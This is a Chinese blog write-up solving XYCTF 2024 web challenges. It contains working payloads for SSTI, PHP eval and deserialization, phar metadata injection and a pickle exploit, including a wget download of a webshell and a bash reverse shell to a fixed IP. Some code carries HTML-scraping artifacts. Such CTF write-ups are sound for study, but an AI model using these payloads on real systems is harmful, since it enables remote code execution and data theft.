XYCTF 2024 Web

Ten^v^ 2024-09-18 17:03:05 阅读 89

Web

我是一个复读机

用户名密码:admin/asdqwe

进入以后就是ssti模板注入,但是禁用了{ [ ’ "

后来发现只要输入中文,就可以进行模板注入了

[ 方括号被禁用可以使用__getitem__绕过

双引号单引号被禁用,使用使用request.values.a绕过

<code>http://xyctf.top:45993/index

?sentence=我是()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.l)|attr(request.values.d)(request.values.k)(request.values.h)&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&l=__builtins__&k=eval&h=__import__("os").popen("cat /flag").read()

此题的源码

from flask import *

import urllib.parse

app = flask(__name__)

app.secret_key = 'lzlcnb' # 设置会话密钥,用于加密会话数据

@app.route('/', methods=['get', 'post'])

def login():

if request.method == 'post':

username = request.form['username']

password = request.form['password']

# 进行登录验证逻辑,如验证用户名密码是否匹配等

# 登录验证成功

if username=='admin' and password=='asdqwe':

session['username'] = username

return redirect('/index')

return render_template('login.html')

@app.route('/index')

def index():

if 'username' in session:

try:

# word=request.args.get('sentence')

# if word=="{ -- -->{}}":

# word=none

flag=0

word = request.args.get('sentence')

balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}']

for i in balck_array:

if word!=none and i in word:

word="what are you doing,little hacker"code>

break

if word is not none:

for i in range(len(word)):

if ord(word[i])&gt;128:

word='{'+word[0:i]+word[i+1:]+'}'code>

flag+=1

else:

word="what do you want to say"code>

if flag:

word="我只能看懂你说的英文(>﹏<)"+wordcode>

if "{ -- -->{}}" in word:

word = word.replace("{ {}}",'{ {}}')

html='''code>

&lt;!doctype html&gt;

&lt;html&gt;

&lt;head&gt;

&lt;title&gt;我是一个复读机&lt;/title&gt;

&lt;style&gt;

body { -- -->{

font-family: arial, sans-serif;

background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */

background-size: cover;

background-position: center;

margin: 0;

padding: 0;

display: flex;

justify-content: center;

align-items: center;

height: 100vh;

}}

form { {

background-color: rgba(255, 255, 255, 0.8);

padding: 20px;

border-radius: 8px;

box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);

width: 800px;

}}

h2 { {

text-align: center;

color: #333;

}}

label { {

display: block;

margin-top: 10px;

color: #555;

}}

input[type="text"],code>

input[type="password"] { -- -->{code>

width: 100%;

padding: 8px;

margin-top: 4px;

border: 1px solid #ccc;

border-radius: 4px;

box-sizing: border-box;

}}

input[type="submit"] { -- -->{code>

width: 100%;

padding: 8px;

margin-top: 10px;

background-color: #007bff;

color: #fff;

border: none;

border-radius: 4px;

cursor: pointer;

}}

input[type="submit"]:hover { -- -->{code>

background-color: #0056b3;

}}

&lt;/style&gt;

&lt;/head&gt;

&lt;body&gt;

&lt;form action="/index" method="get"&gt;code>

&lt;h2&gt;我的宝,你说什么我就说什么&lt;/h2&gt;

&lt;label for="sentence"&gt;你想说的话&lt;/label&gt;code>

&lt;input type="text" id="sentence" name="sentence" required&gt;code>

&lt;input type="submit" value="tell me"&gt;code>

&lt;h2&gt;{}&lt;/h2&gt;

&lt;/form&gt;

&lt;/body&gt;

&lt;/html&gt;'''.format(word)

return render_template_string(html)

except exception as e:

return "出现了一点小问题"

else:

return redirect('/')

if __name__ == '__main__':

app.run(host='0.0.0.0',debug=true,port=8080)code>

ez?Make

禁用字符如下:

/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/

payload使用正则表达式绕过

cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&sort [!b-eh-z][!b-km-z][!b-z][!b-eh-z]

ezMake

直接访问路径/flag,就可以得到flag

牢牢记住,逝者为大

<?php

highlight_file(__FILE__);

function Kobe($cmd)

{ -- -->

if (strlen($cmd) > 13) {

die("see you again~");

}

if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {

die("肘死你");

}

foreach ($_GET as $val_name => $val_val) {

if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {

return "what can i say";

}

}

return $cmd;

}

$cmd = Kobe($_GET['cmd']);

echo "#man," . $cmd . ",manba out";

echo "<br>";

eval("#man," . $cmd . ",mamba out");

绕过注释符,使用回车符

并且这题因为长度的限制,所以无法回显,只能使用反引号

由于使用不了>,所以无法常规的去反弹shell,但是wget命令可以使用,所以我们可以在vps中写入木马文件,然后下载到靶机

payload

http://xyctf.top:46257/?cmd=%0a`$_GET[0]`;%23&0=wget http://60.204.170.160:8989/1.php -O 123.php

warm up

<?php

include 'next.php';

highlight_file(__FILE__);

$XYCTF = "Warm up";

extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {

echo "ez" . "<br>";

} else {

die("什么情况,这么基础的md5做不来");

}

if (isset($md5) && $md5 == md5($md5)) {

echo "ezez" . "<br>";

} else {

die("什么情况,这么基础的md5做不来");

}

if ($XY == $XYCTF) {

if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {

echo $level2;

} else {

die("什么情况,这么基础的md5做不来");

}

} else {

die("学这么久,传参不会传?");

}

第一个if也就是正常的弱比较

第二个if无非就是加密前的明文要为0e开头,然后加密后的hash值也是0e开头

第三个if也是弱比较,主要是通过extract变量覆盖去修改两个变量的值

payload

http://xyctf.top:46282/?val1=s1885207154a&val2=s1502113478a&md5=0e215962017&XY=s1885207154a&XYCTF=s1885207154a

得到页面:LLeeevvveeelll222.php

<?php

highlight_file(__FILE__);

if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {

echo "操作你O.o";

echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level

} else {

die("有点汗流浃背");

}

第一层if使用数组绕过

然后就是preg_replace /e命令执行

http://xyctf.top:46282/LLeeevvveeelll222.php?a=/233/e&b=phpinfo()&c=233

post: a[]=1

ezPOP

源代码

<?php

error_reporting(0);

highlight_file(__FILE__);

class AAA

{

public $s;

public $a;

public function __toString()

{

echo "you get 2 A <br>";

$p = $this->a;

return $this->s->$p;

}

}

class BBB

{

public $c;

public $d;

public function __get($name)

{

echo "you get 2 B <br>";

$a=$_POST['a'];

$b=$_POST;

$c=$this->c;

$d=$this->d;

if (isset($b['a'])) {

unset($b['a']);

}

call_user_func($a,$b)($c)($d);

}

}

class CCC

{

public $c;

public function __destruct()

{

echo "you get 2 C <br>";

echo $this->c;

}

}

if(isset($_GET['xy'])) {

$a = unserialize($_GET['xy']);

throw new Exception("noooooob!!!");

}

首先要先绕过GC垃圾回收机制,不然无法正常反序列化执行destruct魔术方法

使用数组绕过

$a = array($c,0)

echo serialize($a);

pop链

<?php

class AAA

{

public $s;

public $a;

}

class BBB

{

public $c;

public $d;

}

class CCC

{

public $c;

}

$c = new CCC;

$c->c = new AAA;

$c->c->s = new BBB;

$a = array($c,0);

echo serialize($a);

a:2:{ i:0;O:3:"CCC":1:{ s:1:"c";O:3:"AAA":2:{ s:1:"s";O:3:"BBB":2:{ s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:1;i:0;}

把后面的i:1改成i:0,不然还是无法绕过的

a:2:{ i:0;O:3:"CCC":1:{ s:1:"c";O:3:"AAA":2:{ s:1:"s";O:3:"BBB":2:{ s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:0;i:0;}

在这里插入图片描述

然后关键的代码就是在

<code> public function __get($name)

{ -- -->

echo "you get 2 B <br>";

$a=$_POST['a'];

$b=$_POST;

$c=$this->c;

$d=$this->d;

if (isset($b['a'])) {

unset($b['a']);

}

call_user_func($a,$b)($c)($d);

}

最后一行call_user_func(

a

,

a,

a,b)(

c

)

(

c)(

c)(d);

这个的意思其实也就是将call_user_func执行后的结果传递给下一个函数c进行处理,然后d为函数c的参数

分析传参:

a 为取数组里面的元素

b 是数组,这里面放要处理c的函数

最终payload

http://xyctf.top:46310/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;i:0;}

post: a=array_shift&b=strrev

最终的目的就是array_shift函数取出数组b里面的第一个元素也就是strrev函数

然后strrev函数会处理temsys,反转过来就是system

最后就是命令执行

ezmd5

上传两个由fastcoll生成的图片

在这里插入图片描述

ezhttp

在这里插入图片描述

在这里插入图片描述

referer绕过

在这里插入图片描述

然后得到

登录成功!

你用的不是XYCTF的浏览器

user-agent绕过

在这里插入图片描述

登录成功!

非本地用户禁止访问!

Client-ip绕过

在这里插入图片描述

登录成功!

不是从 ymzx.qq.com 代理来的我不玩

在这里插入图片描述

登录成功!

有点饿,想吃点XYCTF的小饼干

在这里插入图片描述

登录成功!

恭喜你拿到flag!

XYCTF{3aa4c02c-5f02-433e-84e2-5137245fd057}

ezSerialize

第一层

<code><?php

class Flag { -- -->

public $token;

public $password;

}

$a = new Flag();

$a->password = 1;

$a->password = &$a->token;

echo serialize($a);

第二层

<?php

class A {

public $mack;

}

class B {

public $luo;

}

class C {

public $wang1;

}

class D {

public $lao;

public $chen;

}

class E {

public $name = "xxxxx";

public $num;

}

$e = new E;

$e->name = new D;

$e->name->lao = new B;

$e->name->lao->luo = new A;

$e->name->lao->luo->mack = new C;

echo serialize($e);

第三层

<?php

// flag.php

class XYCTFNO1

{

public $Liu;

public $T1ng;

private $upsw1ng;

}

class XYCTFNO2

{

public $crypto0;

public $adwa;

}

class XYCTFNO3

{

public $KickyMu;

public $fpclose;

public $N1ght = "Crypto0";

}

$x1 = new XYCTFNO3;

$x1->KickyMu = new XYCTFNO2;

$x1->KickyMu->adwa->crypto0 = "dev1l";

$x1->KickyMu->adwa->T1ng = "yuroandCMD258";

$x1->N1ght = "oSthing";

echo serialize($x1);

pharme

<?php

class evil{

public $cmd;

public $a;

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new evil();

$o->cmd= "eval(end(getallheaders()));__halt_compiler();";

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

然后绕过__HALT_COMPILER();

import gzip

from hashlib import sha1

with open('phar.phar', 'rb') as file:

f = file.read()

s = f[:-28] # 获取要签名的数据

h = f[-8:] # 获取签名类型以及GBMB标识

newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

#print(newf)

newf = gzip.compress(newf) #对Phar文件进行gzip压缩

with open('newquanqi.png', 'wb') as file:#更改文件后缀

file.write(newf)

连连看到底是连连什么看

<?php

highlight_file(__FILE__);

error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))

{

die("waf!");

}

$payload="php://filter/$p/resource=/etc/passwd";code>

if(file_get_contents($payload)==="XYCTF"){ -- -->

echo file_get_contents('/flag');

}

php_filter_chain这个工具直接生成

python3 php_filter_chain_generator.py --chain 'XYCTF<'

然后复制下payload之后,使用string.strip.tag过滤器绕过

在这里插入图片描述

为什么可以绕过,这是因为

string.strip_tags 等同于strip_tags(),去除html、PHP语言标签

下面有一个实例

在这里插入图片描述

ezRCE

<code><?php

highlight_file(__FILE__);

function waf($cmd){ -- -->

$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];

$cmd_char = str_split($cmd);

foreach($cmd_char as $char){

if (!in_array($char, $white_list)){

die("really ez?");

}

}

return $cmd;

}

$cmd=waf($_GET["cmd"]);

system($cmd);

只能有数字,并且是system直接执行

可以使用八进制进行绕过,但要注意八进制不能加参数

$'\154\163' ls

$'\143\141\164'<$'\57\146\154\141\147' cat /flag

ezClass

<?php

highlight_file(__FILE__);

$a=$_GET['a'];

$aa=$_GET['aa'];

$b=$_GET['b'];

$bb=$_GET['bb'];

$c=$_GET['c'];

((new $a($aa))->$c())((new $b($bb))->$c());

意思也就是,让我们使用两个原生类,将第一个原生类的结果丢给后面的原生类进行处理

太麻烦了,一个原生类就够了

a=SplFileObject&aa=/flag&c=fgets

这个方法读取文件内容有限,只能显示第一个行,但是读取flag文件足矣了

login

import pickle

import base64

# class pay(object):

# def __reduce__(self):

# return (eval,("print(123)",))

# a = pickle.dumps(pay())

# a = base64.b64encode(a)

c = b'''(cos

system

S'bash -c "bash -i >& /dev/tcp/60.204.170.160/8989 0>&1"'

o.'''

# print(pickle.dumps(c))

# print(a)

print(base64.b64encode(c))

εZ?¿м@Kε¿?

hint.php内容

/^[$|\(|\)|\@|\[|\]|\{ |\}|\< | \>|\-]+$/

我们只能输入这个正则里面的符号,通过对makefile的理解

这题是借用makefile的自动变量可以读取到flag的内容

https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html

得到如下的payload

$$(<$<)

在这里插入图片描述

give me flag

hash长度扩展攻击

<code><?php

include('flag.php');

$FLAG_md5 = md5($FLAG);

if(!isset($_GET['md5']) || !isset($_GET['value']))

{ -- -->

highlight_file(__FILE__);

die($FLAG_md5);

}

$value = $_GET['value'];

$md5 = $_GET['md5'];

$time = time();

if(md5($FLAG.$value.$time)===$md5)

{

echo "yes, give you flag: ";

echo $FLAG;

}

f6ab6309f305e0f1b61cbec905c4c01f

拿已知的md5值,加上预定的时间戳

在这里插入图片描述

https://tool.lu/timestamp/

然后抓包bp,value填入长度为43的明文,再传入新的md5

在这里插入图片描述

这题多少有点圣经,很容易跑崩,懒得复现了



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。